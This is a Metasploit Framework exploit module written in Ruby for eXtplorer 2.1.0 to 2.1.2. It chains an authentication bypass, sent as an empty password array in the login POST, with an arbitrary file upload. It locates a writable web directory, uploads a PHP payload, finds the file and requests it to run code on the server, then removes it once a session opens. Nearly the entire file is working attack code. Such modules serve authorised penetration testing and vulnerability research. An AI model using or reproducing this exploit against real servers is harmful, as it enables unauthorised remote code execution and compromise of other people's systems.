##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "eXtplorer v2.1 Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits an authentication bypass vulnerability in eXtplorer
versions 2.1.0 to 2.1.2 and 2.1.0RC5 when run as a standalone application.
This application has an upload feature that allows an authenticated user
with administrator roles to upload arbitrary files to any writable
directory in the web root. This module uses an authentication bypass
vulnerability to upload and execute a file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
],
'References' =>
[
[ 'OSVDB', '88751' ],
[ 'BID', '57058' ],
[ 'URL', 'http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability' ],
[ 'URL', 'http://extplorer.net/issues/105' ]
],
'Payload' =>
{
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Dec 31 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/com_extplorer_2.1.0/']),
OptString.new('USERNAME', [true, 'The username for eXtplorer', 'admin'])
], self.class)
end
def check
base = target_uri.path
base << '/' if base[-1, 1] != '/'
peer = "#{rhost}:#{rport}"
# retrieve software version from ./extplorer.xml
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => "#{base}extplorer.xml"
})
if !res or res.code != 200
return Exploit::CheckCode::Safe
end
if res.body =~ /<version>2\.1\.(0RC\d|0|1|2)<\/version>/
return Exploit::CheckCode::Vulnerable
end
if res.body =~ /eXtplorer/
return Exploit::CheckCode::Safe
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
client.fs.file.rm("#{@fname}")
else
client.shell_command_token("rm #{@fname}")
end
end
def upload(base, dir, fname, file)
data = Rex::MIME::Message.new
data.add_part(file, 'application/x-httpd-php', nil, "form-data; name=\"userfile[0]\"; filename=\"#{fname}\"")
data.add_part("on", nil, nil, "form-data; name=\"overwrite_files\"")
data.add_part("%2f#{dir}", nil, nil, "form-data; name=\"dir\"")
data.add_part("com_extplorer", nil, nil, "form-data; name=\"option\"")
data.add_part("upload", nil, nil, "form-data; name=\"action\"")
data.add_part("xmlhttprequest", nil, nil, "form-data; name=\"requestType\"")
data.add_part("true", nil, nil, "form-data; name=\"confirm\"")
data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post,
'cookie' => datastore['COOKIE'],
})
return res
end
def auth_bypass(base, user)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'data' => "option=com_extplorer&action=login&type=extplorer&username=#{user}&password[]=",
'cookie' => datastore['COOKIE'],
})
return res
end
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
@peer = "#{rhost}:#{rport}"
@fname= rand_text_alphanumeric(rand(10)+6) + '.php'
user = datastore['USERNAME']
datastore['COOKIE'] = "eXtplorer="+rand_text_alpha_lower(26)+";"
# bypass auth
print_status("#{@peer} - Authenticating as user (#{user})")
res = auth_bypass(base, user)
if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
print_status("#{@peer} - Authenticated successfully")
else
fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
end
# search for writable directories
print_status("#{@peer} - Retrieving writable subdirectories")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'cookie' => datastore['COOKIE'],
'data' => "option=com_extplorer&action=getdircontents&dir=#{base}&sendWhat=dirs&node=ext_root",
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
dir = "#{base}#{$1}"
print_status("#{@peer} - Successfully retrieved writable subdirectory (#{$1})")
else
dir = "#{base}"
print_error("#{@peer} - Could not find a writable subdirectory.")
end
# upload PHP payload
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length.to_s} bytes) to #{dir}")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, dir, @fname, php)
if res and res.code == 200 and res.body =~ /'message':'Upload successful\!'/
print_good("#{@peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
# search directories in the web root for the file
print_status("#{@peer} - Searching directories for file (#{@fname})")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{base}index.php",
'data' => "start=0&limit=10&option=com_extplorer&action=search&dir=#{base}&content=0&subdir=1&searchitem=#{@fname}",
'cookie' => datastore['COOKIE'],
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if res and res.code == 200 and res.body =~ /'dir':'\\\/([^']+)'/
dir = $1.gsub('\\','')
print_good("#{@peer} - Successfully found file")
else
print_error("#{@peer} - Failed to find file")
end
# retrieve and execute PHP payload
print_status("#{@peer} - Executing payload (/#{dir}/#{@fname})")
begin
send_request_cgi({
'method' => 'GET',
'uri' => "/#{dir}/#{@fname}"
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
end
if res and res.code != 200
print_error("#{@peer} - Executing payload failed")
end
end
end
